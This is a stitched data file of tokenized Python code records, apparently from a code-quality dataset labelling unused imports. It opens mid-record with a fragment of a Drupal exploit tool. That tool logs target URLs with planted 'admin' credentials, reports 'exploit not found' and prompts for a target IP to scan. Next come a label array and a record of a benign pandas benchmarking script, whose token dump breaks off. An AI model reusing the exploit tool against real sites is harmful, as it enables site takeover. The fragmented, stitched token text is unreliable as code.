"Ko", "\\\\", "n", "[-]", "password", ":", "admin", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "save_", "=_", "open_", "(_", "'", "dru", "pal", ".", "txt", "'_", ",_", "'", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "save_", "._", "write_", "(_", "url_", "+_", "\"\\\\", "n", "\"_", "+_", "\"[", "-]", "user", "name", ":", "Hol", "a", "Ko", "\\\\", "n", "[-]", "password", ":", "admin", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "i_", "+_", "\"=", ">", " ", "exploit", " ", "not", " ", "found", " ", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "ex_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "ex_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "main", "e_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "minu", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "choose_", "=_", "raw", "\\u", "input_", "(_", "\"", "choose", " ", "a", " ", "number", " ", ":\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "choose_", "==_", "\"", "1", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dru", "pal", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "choose_", "==_", "\"", "2", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "getd", "ru", "pal", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "choose_", "==_", "\"", "3", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "dru", "pal", "list_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "choose_", "==_", "\"", "4", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "about_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "choose_", "==_", "\"", "9", "9", "\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "menu_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "con_", "=_", "raw", "\\u", "input_", "(_", "'", "Continu", "e", " ", "[", "Y", "/", "n", "]", " ", "->", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "con_", "[_", "0_", "]_", "._", "upper_", "(_", ")_", "==_", "'", "N", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "con_", "[_", "0_", "]_", "._", "upper_", "(_", ")_", "==_", "'", "Y", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "main", "e_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "tn", "n_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "tn", "n_", "(_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "clear", "Scr", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "aaa", "_", "=_", "raw", "\\u", "input_", "(_", "\"", "Target", " ", "IP", " ", ":", " ", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "TN", "scan_", "(_", "aaa", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
pydata/pandas/vb_suite/test_perf.py
[ { "content": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nWhat\n----\nvbench is a library which can be used to benchmark the performance\nof a codebase over time.\nAlthough vbench can collect data over many commites, generate plots\nand other niceties, for Pull-Requests the important thing is the\nperformance of the HEAD commit against a known-good baseline.\n\nThis script tries to automate the process of comparing these\ntwo commits, and is meant to run out of the box on a fresh\nclone.\n\nHow\n---\nThese are the steps taken:\n1) create a temp directory into which vbench will clone the temporary repo.\n2) instantiate a vbench runner, using the local repo as the source repo.\n3) perform a vbench run for the baseline commit, then the target commit.\n4) pull the results for both commits from the db. use pandas to align\neverything and calculate a ration for the timing information.\n5) print the results to the log file and to stdout.\n\n\"\"\"\n\n# IMPORTANT NOTE\n#\n# This script should run on pandas versions at least as far back as 0.9.1.\n# devs should be able to use the latest version of this script with\n# any dusty old commit and expect it to \"just work\".\n# One way in which this is useful is when collecting historical data,\n# where writing some logic around this script may prove easier\n# in some cases then running vbench directly (think perf bisection).\n#\n# *please*, when you modify this script for whatever reason,\n# make sure you do not break its functionality when running under older\n# pandas versions.\n# Note that depreaction warnings are turned off in main(), so there's\n# no need to change the actual code to supress such warnings.\n\nimport shutil\nimport os\nimport sys\nimport argparse\nimport tempfile\nimport time\nimport re\n\nimport random\nimport numpy as np\n\nimport pandas as pd\nfrom pandas import DataFrame, Series\n\nfrom suite import REPO_PATH\nVB_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nDEFAULT_MIN_DURATION = 0.01\nHEAD_COL=\"head[ms]\"\nBASE_COL=\"base[ms]\"\n\ntry:\n import git # gitpython\nexcept Exception:\n print(\"Error: Please install the `gitpython` package\\n\")\n sys.exit(1)\n\n\n\nparser = argparse.ArgumentParser(description='Use vbench to measure and compare the performance of commits.')\nparser.add_argument('-H', '--head',\n help='Execute vbenches using the currently checked out copy.',\n dest='head',\n action='store_true',\n default=False)\nparser.add_argument('-b', '--base-commit',\n help='The commit serving as performance baseline ',\n type=str, action=RevParseAction)\nparser.add_argument('-t', '--target-commit',\n help='The commit to compare against the baseline (default: HEAD).',\n type=str, action=RevParseAction)\nparser.add_argument('--base-pickle',\n help='name of pickle file with timings data generated by a former `-H -d FILE` run. '\\\n 'filename must be of the form <hash>-*.* or specify --base-commit seperately',\n type=str)\nparser.add_argument('--target-pickle',\n help='name of pickle file with timings data generated by a former `-H -d FILE` run '\\\n 'filename must be of the form <hash>-*.* or specify --target-commit seperately',\n type=str)\nparser.add_argument('-m', '--min-duration',\n help='Minimum duration (in ms) of baseline test for inclusion in report (default: %.3f).' % DEFAULT_MIN_DURATION,\n type=float,\n default=0.01)\nparser.add_argument('-o', '--output',\n metavar=\"<file>\",\n dest='log_file',\n help='Path of file in which to save the textual report (default: vb_suite.log).')\nparser.add_argument('-d', '--outdf',\n metavar=\"FNAME\",\n dest='outdf',\n default=None,\n help='Name of file to df.save() the result table into. Will overwrite')\nparser.add_argument('-r', '--regex',\n metavar=\"REGEX\",\n dest='regex',\n default=\"\",\n help='Regex pat, only tests whose name matches the regext will be run.')\nparser.add_argument('-s', '--seed',\n metavar=\"SEED\",\n dest='seed',\n default=1234,\n type=int,\n help='Integer value to seed PRNG with')\nparser.add_argument('-n', '--repeats',\n metavar=\"N\",\n dest='repeats',\n default=3,\n type=int,\n help='Number of times to run each vbench, result value is the best of')\nparser.add_argument('-c', '--ncalls',\n metavar=\"N\",\n dest='ncalls',\n default=3,\n type=int,\n help='Number of calls to in each repetition of a vbench')\nparser.add_argument('-N', '--hrepeats',\n metavar=\"N\",\n dest='hrepeats',\n default=1,\n type=int,\n help='implies -H, number of times to run the vbench suite on the head commit.\\n'\n 'Each iteration will yield another column in the output' )\nparser.add_argument('-a', '--affinity',\n metavar=\"a\",\n dest='affinity',\n default=1,\n type=int,\n help='set processor affinity of process by default bind to cpu/core #1 only. '\n 'Requires the \"affinity\" or \"psutil\" python module, will raise Warning otherwise')\nparser.add_argument('-u', '--burnin',\n metavar=\"u\",\n dest='burnin',\n default=1,\n type=int,\n help='Number of extra iteration per benchmark to perform first, then throw away. ' )\n\nparser.add_argument('-S', '--stats',\n default=False,\n action='store_true',\n help='when specified with -N, prints the output of describe() per vbench results. ' )\n\nparser.add_argument('--temp-dir',\n metavar=\"PATH\",\n default=None,\n help='Specify temp work dir to use. ccache depends on builds being invoked from consistent directory.' )\n\nparser.add_argument('-q', '--quiet',\n default=False,\n action='store_true',\n help='Suppress report output to stdout. ' )\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n# hack , vbench.git ignores some commits, but we\n# need to be able to reference any commit.\n# modified from vbench.git\n\n# even worse, monkey patch vbench\n\nif __name__ == '__main__':\n args = parser.parse_args()\n if (not args.head\n and not (args.base_commit and args.target_commit)\n and not (args.base_pickle and args.target_pickle)):\n parser.print_help()\n sys.exit(1)\n elif ((args.base_pickle or args.target_pickle) and not\n (args.base_pickle and args.target_pickle)):\n print(\"Must specify Both --base-pickle and --target-pickle.\")\n sys.exit(1)\n\n if ((args.base_pickle or args.target_pickle) and not\n (args.base_commit and args.target_commit)):\n if not args.base_commit:\n print(\"base_commit not specified, Assuming base_pickle is named <commit>-foo.*\")\n args.base_commit = args.base_pickle.split('-')[0]\n if not args.target_commit:\n print(\"target_commit not specified, Assuming target_pickle is named <commit>-foo.*\")\n args.target_commit = args.target_pickle.split('-')[0]\n\n import warnings\n warnings.filterwarnings('ignore',category=FutureWarning)\n warnings.filterwarnings('ignore',category=DeprecationWarning)\n\n if args.base_commit and args.target_commit:\n print(\"Verifying specified commits exist in repo...\")\n r=git.Repo(VB_DIR)\n for c in [ args.base_commit, args.target_commit ]:\n try:\n msg = r.commit(c).message.strip()\n except git.BadObject:\n print(\"The commit '%s' was not found, aborting...\" % c)\n sys.exit(1)\n else:\n print(\"%s: %s\" % (c,msg))\n\n main()\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class RevParseAction(argparse.Action):", "metadata": "root.RevParseAction", "header": "['module', '___EOS___']", "index": 69 }, { "content": " def __call__(self, parser, namespace, values, option_string=None):\n import subprocess\n cmd = 'git rev-parse --short -verify {0}^{{commit}}'.format(values)\n rev_parse = subprocess.check_output(cmd, shell=True)\n setattr(namespace, self.dest, rev_parse.strip())", "metadata": "root.RevParseAction.__call__", "header": "['class', 'RevParseAction', '(', 'argparse', '.', 'Action', ')', ':', '___EOS___']", "index": 70 }, { "content": "def get_results_df(db, rev):\n \"\"\"Takes a git commit hash and returns a Dataframe of benchmark results\n \"\"\"\n bench = DataFrame(db.get_benchmarks())\n results = DataFrame(map(list,db.get_rev_results(rev).values()))\n\n # Sinch vbench.db._reg_rev_results returns an unlabeled dict,\n # we have to break encapsulation a bit.\n results.columns = db._results.c.keys()\n results = results.join(bench['name'], on='checksum').set_index(\"checksum\")\n return results", "metadata": "root.get_results_df", "header": "['module', '___EOS___']", "index": 169 }, { "content": "def prprint(s):\n print(\"*** %s\" % s)", "metadata": "root.prprint", "header": "['module', '___EOS___']", "index": 182 }, { "content": "def pre_hook():\n import gc\n gc.disable()", "metadata": "root.pre_hook", "header": "['module', '___EOS___']", "index": 185 }, { "content": "def post_hook():\n import gc\n gc.enable()", "metadata": "root.post_hook", "header": "['module', '___EOS___']", "index": 189 }, { "content": "def profile_comparative(benchmarks):\n\n from vbench.api import BenchmarkRunner\n from vbench.db import BenchmarkDB\n from vbench.git import GitRepo\n from suite import BUILD, DB_PATH, PREPARE, dependencies\n\n TMP_DIR = args.temp_dir or tempfile.mkdtemp()\n\n try:\n\n prprint(\"Opening DB at '%s'...\\n\" % DB_PATH)\n db = BenchmarkDB(DB_PATH)\n\n prprint(\"Initializing Runner...\")\n\n # all in a good cause...\n GitRepo._parse_commit_log = _parse_wrapper(args.base_commit)\n\n runner = BenchmarkRunner(\n benchmarks, REPO_PATH, REPO_PATH, BUILD, DB_PATH,\n TMP_DIR, PREPARE, always_clean=True,\n # run_option='eod', start_date=START_DATE,\n module_dependencies=dependencies)\n\n repo = runner.repo # (steal the parsed git repo used by runner)\n h_head = args.target_commit or repo.shas[-1]\n h_baseline = args.base_commit\n\n # ARGH. reparse the repo, without discarding any commits,\n # then overwrite the previous parse results\n # prprint(\"Slaughtering kittens...\")\n (repo.shas, repo.messages,\n repo.timestamps, repo.authors) = _parse_commit_log(None,REPO_PATH,\n args.base_commit)\n\n prprint('Target [%s] : %s\\n' % (h_head, repo.messages.get(h_head, \"\")))\n prprint('Baseline [%s] : %s\\n' % (h_baseline,\n repo.messages.get(h_baseline, \"\")))\n\n prprint(\"Removing any previous measurements for the commits.\")\n db.delete_rev_results(h_baseline)\n db.delete_rev_results(h_head)\n\n # TODO: we could skip this, but we need to make sure all\n # results are in the DB, which is a little tricky with\n # start dates and so on.\n prprint(\"Running benchmarks for baseline [%s]\" % h_baseline)\n runner._run_and_write_results(h_baseline)\n\n prprint(\"Running benchmarks for target [%s]\" % h_head)\n runner._run_and_write_results(h_head)\n\n prprint('Processing results...')\n\n head_res = get_results_df(db, h_head)\n baseline_res = get_results_df(db, h_baseline)\n\n report_comparative(head_res,baseline_res)\n\n finally:\n # print(\"Disposing of TMP_DIR: %s\" % TMP_DIR)\n shutil.rmtree(TMP_DIR)", "metadata": "root.profile_comparative", "header": "['module', '___EOS___']", "index": 193 }, { "content": "def prep_pickle_for_total(df, agg_name='median'):\n \"\"\"\n accepts a datafram resulting from invocation with -H -d o.pickle\n If multiple data columns are present (-N was used), the\n `agg_name` attr of the datafram will be used to reduce\n them to a single value per vbench, df.median is used by defa\n ult.\n\n Returns a datadrame of the form expected by prep_totals\n \"\"\"\n def prep(df):\n agg = getattr(df,agg_name)\n df = DataFrame(agg(1))\n cols = list(df.columns)\n cols[0]='timing'\n df.columns=cols\n df['name'] = list(df.index)\n return df\n\n return prep(df)", "metadata": "root.prep_pickle_for_total", "header": "['module', '___EOS___']", "index": 257 }, { "content": "def prep_totals(head_res, baseline_res):\n \"\"\"\n Each argument should be a dataframe with 'timing' and 'name' columns\n where name is the name of the vbench.\n\n returns a 'totals' dataframe, suitable as input for print_report.\n \"\"\"\n head_res, baseline_res = head_res.align(baseline_res)\n ratio = head_res['timing'] / baseline_res['timing']\n totals = DataFrame({HEAD_COL:head_res['timing'],\n BASE_COL:baseline_res['timing'],\n 'ratio':ratio,\n 'name':baseline_res.name},\n columns=[HEAD_COL, BASE_COL, \"ratio\", \"name\"])\n totals = totals.ix[totals[HEAD_COL] > args.min_duration]\n # ignore below threshold\n totals = totals.dropna(\n ).sort(\"ratio\").set_index('name') # sort in ascending order\n return totals", "metadata": "root.prep_totals", "header": "['module', '___EOS___']", "index": 278 }, { "content": "def report_comparative(head_res,baseline_res):\n try:\n r=git.Repo(VB_DIR)\n except:\n import pdb\n pdb.set_trace()\n\n totals = prep_totals(head_res,baseline_res)\n\n h_head = args.target_commit\n h_baseline = args.base_commit\n h_msg = b_msg = \"Unknown\"\n try:\n h_msg = r.commit(h_head).message.strip()\n except git.exc.BadObject:\n pass\n try:\n b_msg = r.commit(h_baseline).message.strip()\n except git.exc.BadObject:\n pass\n\n\n print_report(totals,h_head=h_head,h_msg=h_msg,\n h_baseline=h_baseline,b_msg=b_msg)\n\n if args.outdf:\n prprint(\"The results DataFrame was written to '%s'\\n\" % args.outdf)\n totals.save(args.outdf)", "metadata": "root.report_comparative", "header": "['module', '___EOS___']", "index": 298 }, { "content": "def profile_head_single(benchmark):\n import gc\n results = []\n\n # just in case\n gc.collect()\n\n try:\n from ctypes import cdll, CDLL\n cdll.LoadLibrary(\"libc.so.6\")\n libc = CDLL(\"libc.so.6\")\n libc.malloc_trim(0)\n except:\n pass\n\n\n N = args.hrepeats + args.burnin\n\n results = []\n try:\n for i in range(N):\n gc.disable()\n d=dict()\n\n try:\n d = benchmark.run()\n\n except KeyboardInterrupt:\n raise\n except Exception as e: # if a single vbench bursts into flames, don't die.\n err=\"\"\n try:\n err = d.get(\"traceback\")\n if err is None:\n err = str(e)\n except:\n pass\n print(\"%s died with:\\n%s\\nSkipping...\\n\" % (benchmark.name, err))\n\n results.append(d.get('timing',np.nan))\n gc.enable()\n gc.collect()\n\n finally:\n gc.enable()\n\n if results:\n # throw away the burn_in\n results = results[args.burnin:]\n sys.stdout.write('.')\n sys.stdout.flush()\n return Series(results, name=benchmark.name)\n\n # df = DataFrame(results)\n # df.columns = [\"name\",HEAD_COL]\n # return df.set_index(\"name\")[HEAD_COL]", "metadata": "root.profile_head_single", "header": "['module', '___EOS___']", "index": 327 }, { "content": "def profile_head(benchmarks):\n print( \"Performing %d benchmarks (%d runs each)\" % ( len(benchmarks), args.hrepeats))\n\n ss= [profile_head_single(b) for b in benchmarks]\n print(\"\\n\")\n\n results = DataFrame(ss)\n results.columns=[ \"#%d\" %i for i in range(args.hrepeats)]\n # results.index = [\"#%d\" % i for i in range(len(ss))]\n # results = results.T\n\n shas, messages, _,_ = _parse_commit_log(None,REPO_PATH,base_commit=\"HEAD^\")\n print_report(results,h_head=shas[-1],h_msg=messages[-1])\n\n\n if args.outdf:\n prprint(\"The results DataFrame was written to '%s'\\n\" % args.outdf)\n DataFrame(results).save(args.outdf)", "metadata": "root.profile_head", "header": "['module', '___EOS___']", "index": 384 }, { "content": "def print_report(df,h_head=None,h_msg=\"\",h_baseline=None,b_msg=\"\"):\n\n name_width=45\n col_width = 10\n\n hdr = (\"{:%s}\" % name_width).format(\"Test name\")\n hdr += (\"|{:^%d}\" % col_width)* len(df.columns)\n hdr += \"|\"\n hdr = hdr.format(*df.columns)\n hdr = \"-\"*len(hdr) + \"\\n\" + hdr + \"\\n\" + \"-\"*len(hdr) + \"\\n\"\n ftr=hdr\n s = \"\\n\"\n s+= \"Invoked with :\\n\"\n s+= \"--ncalls: %s\\n\" % (args.ncalls or 'Auto')\n s+= \"--repeats: %s\\n\" % (args.repeats)\n s+= \"\\n\\n\"\n\n s += hdr\n # import ipdb\n # ipdb.set_trace()\n for i in range(len(df)):\n lfmt = (\"{:%s}\" % name_width)\n lfmt += (\"| {:%d.4f} \" % (col_width-2))* len(df.columns)\n lfmt += \"|\\n\"\n s += lfmt.format(df.index[i],*list(df.iloc[i].values))\n\n s+= ftr + \"\\n\"\n\n s += \"Ratio < 1.0 means the target commit is faster then the baseline.\\n\"\n s += \"Seed used: %d\\n\\n\" % args.seed\n\n if h_head:\n s += 'Target [%s] : %s\\n' % (h_head, h_msg)\n if h_baseline:\n s += 'Base [%s] : %s\\n\\n' % (\n h_baseline, b_msg)\n\n stats_footer = \"\\n\"\n if args.stats :\n try:\n pd.options.display.expand_frame_repr=False\n except:\n pass\n stats_footer += str(df.T.describe().T) + \"\\n\\n\"\n\n s+= stats_footer\n logfile = open(args.log_file, 'w')\n logfile.write(s)\n logfile.close()\n\n if not args.quiet:\n prprint(s)\n\n if args.stats and args.quiet:\n prprint(stats_footer)\n\n prprint(\"Results were also written to the logfile at '%s'\" %\n args.log_file)", "metadata": "root.print_report", "header": "['module', '___EOS___']", "index": 403 }, { "content": "def main():\n from suite import benchmarks\n\n if not args.log_file:\n args.log_file = os.path.abspath(\n os.path.join(REPO_PATH, 'vb_suite.log'))\n\n saved_dir = os.path.curdir\n if args.outdf:\n # not bullet-proof but enough for us\n args.outdf = os.path.realpath(args.outdf)\n\n if args.log_file:\n # not bullet-proof but enough for us\n args.log_file = os.path.realpath(args.log_file)\n\n random.seed(args.seed)\n np.random.seed(args.seed)\n\n if args.base_pickle and args.target_pickle:\n baseline_res = prep_pickle_for_total(pd.load(args.base_pickle))\n target_res = prep_pickle_for_total(pd.load(args.target_pickle))\n\n report_comparative(target_res, baseline_res)\n sys.exit(0)\n\n if args.affinity is not None:\n try: # use psutil rather then stale affinity module. Thanks @yarikoptic\n import psutil\n if hasattr(psutil.Process, 'set_cpu_affinity'):\n psutil.Process(os.getpid()).set_cpu_affinity([args.affinity])\n print(\"CPU affinity set to %d\" % args.affinity)\n except ImportError:\n print(\"-a/--affinity specified, but the 'psutil' module is not available, aborting.\\n\")\n sys.exit(1)\n\n print(\"\\n\")\n prprint(\"LOG_FILE = %s\" % args.log_file)\n if args.outdf:\n prprint(\"PICKE_FILE = %s\" % args.outdf)\n\n print(\"\\n\")\n\n # move away from the pandas root dir, to avoid possible import\n # surprises\n os.chdir(os.path.dirname(os.path.abspath(__file__)))\n\n benchmarks = [x for x in benchmarks if re.search(args.regex,x.name)]\n\n for b in benchmarks:\n b.repeat = args.repeats\n if args.ncalls:\n b.ncalls = args.ncalls\n\n if benchmarks:\n if args.head:\n profile_head(benchmarks)\n else:\n profile_comparative(benchmarks)\n else:\n print( \"No matching benchmarks\")\n\n os.chdir(saved_dir)", "metadata": "root.main", "header": "['module', '___EOS___']", "index": 464 }, { "content": "def _parse_commit_log(this,repo_path,base_commit=None):\n from vbench.git import _convert_timezones\n from pandas import Series\n from dateutil import parser as dparser\n\n git_cmd = 'git --git-dir=%s/.git --work-tree=%s ' % (repo_path, repo_path)\n githist = git_cmd + ('log --graph --pretty=format:'+\n '\\\"::%h::%cd::%s::%an\\\"'+\n ('%s..' % base_commit)+\n '> githist.txt')\n os.system(githist)\n githist = open('githist.txt').read()\n os.remove('githist.txt')\n\n shas = []\n timestamps = []\n messages = []\n authors = []\n for line in githist.split('\\n'):\n if '*' not in line.split(\"::\")[0]: # skip non-commit lines\n continue\n\n _, sha, stamp, message, author = line.split('::', 4)\n\n # parse timestamp into datetime object\n stamp = dparser.parse(stamp)\n\n shas.append(sha)\n timestamps.append(stamp)\n messages.append(message)\n authors.append(author)\n\n # to UTC for now\n timestamps = _convert_timezones(timestamps)\n\n shas = Series(shas, timestamps)\n messages = Series(messages, shas)\n timestamps = Series(timestamps, shas)\n authors = Series(authors, shas)\n return shas[::-1], messages[::-1], timestamps[::-1], authors[::-1]", "metadata": "root._parse_commit_log", "header": "['module', '___EOS___']", "index": 531 }, { "content": "def _parse_wrapper(base_commit):\n def inner(repo_path):\n return _parse_commit_log(repo_path,base_commit)\n return inner", "metadata": "root._parse_wrapper", "header": "['module', '___EOS___']", "index": 573 } ]
[ { "span": "import time", "start_line": 48, "start_column": 0, "end_line": 48, "end_column": 11 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "What", "\\", "10", ";", "----", "\\", "10", ";", "vb", "ench", " ", "is", " ", "a", " ", "librar", "y", " ", "whi", "ch", " ", "can", " ", "be", " ", "used", " ", "to", " ", "bench", "mark", " ", "the", " ", "perform", "anc", "e", "\\", "10", ";", "of", " ", "a", " ", "codeb", "ase", " ", "over", " ", "time", ".", "\\", "10", ";", "Alt", "hou", "gh", " ", "vb", "ench", " ", "can", " ", "collect", " ", "data", " ", "over", " ", "many", " ", "commit", "es", ",", " ", "generat", "e", " ", "plots", "\\", "10", ";", "and", " ", "other", " ", "nice", "ties", ",", " ", "for", " ", "Pul", "l", "-", "Request", "s", " ", "the", " ", "importa", "nt", " ", "thing", " ", "is", " ", "the", "\\", "10", ";", "perform", "anc", "e", " ", "of", " ", "the", " ", "HEAD", " ", "commit", " ", "against", " ", "a", " ", "know", "n", "-", "good", " ", "baseline", ".", "\\", "10", ";", "\\", "10", ";", "Thi", "s", " ", "script", " ", "trie", "s", " ", "to", " ", "automat", "e", " ", "the", " ", "process", " ", "of", " ", "compa", "ring", " ", "these", "\\", "10", ";", "two", " ", "commit", "s", ",", " ", "and", " ", "is", " ", "mean", "t", " ", "to", " ", "run", " ", "out", " ", "of", " ", "the", " ", "box", " ", "on", " ", "a", " ", "fresh", "\\", "10", ";", "clone", ".", "\\", "10", ";", "\\", "10", ";", "Ho", "w", "\\", "10", ";", "---", "\\", "10", ";", "The", "se", " ", "are", " ", "the", " ", "step", "s", " ", "take", "n", ":", "\\", "10", ";", "1", ")", " ", "create", " ", "a", " ", "temp", " ", "director", "y", " ", "int", "o", " ", "whi", "ch", " ", "vb", "ench", " ", "will", " ", "clone", " ", "the", " ", "temporar", "y", " ", "repo", ".", "\\", "10", ";", "2", ")", " ", "instantiate", " ", "a", " ", "vb", "ench", " ", "runn", "er", ",", " ", "usi", "ng", " ", "the", " ", "local", " ", "repo", " ", "as", " ", "the", " ", "source", " ", "repo", ".", "\\", "10", ";", "3", ")", " ", "perform", " ", "a", " ", "vb", "ench", " ", "run", " ", "for", " ", "the", " ", "baseline", " ", "commit", ",", " ", "then", " ", "the", " ", "target", " ", "commit", ".", "\\", "10", ";", "4", ")", " ", "pull", " ", "the", " ", "results", " ", "for", " ", "bot", "h", " ", "commit", "s", " ", "from", " ", "the", " ", "db", ".", " ", "use", " ", "panda", "s", " ", "to", " ", "align", "\\", "10", ";", "every", "thing", " ", "and", " ", "calcul", "ate", " ", "a", " ", "ration", " ", "for", " ", "the", " ", "tim", "ing", " ", "informati", "on", ".", "\\", "10", ";", "5", ")", " ", "print", " ", "the", " ", "results", " ", "to", " ", "the", " ", "log", " ", "file", " ", "and", " ", "to", " ", "stdout", ".", "\\", "10", ";", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "IMPORT", "ANT", " ", "NOTE", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Thi", "s", " ", "script", " ", "shou", "ld", " ", "run", " ", "on", " ", "panda", "s", " ", "version", "s", " ", "at", " ", "leas", "t", " ", "as", " ", "far", " ", "back", " ", "as", " ", "0.", "9.1", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "devs", " ", "shou", "ld", " ", "be", " ", "able", " ", "to", " ", "use", " ", "the", " ", "late", "st", " ", "version", " ", "of", " ", "this", " ", "script", " ", "with_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "any", " ", "dust", "y", " ", "old", " ", "commit", " ", "and", " ", "expect", " ", 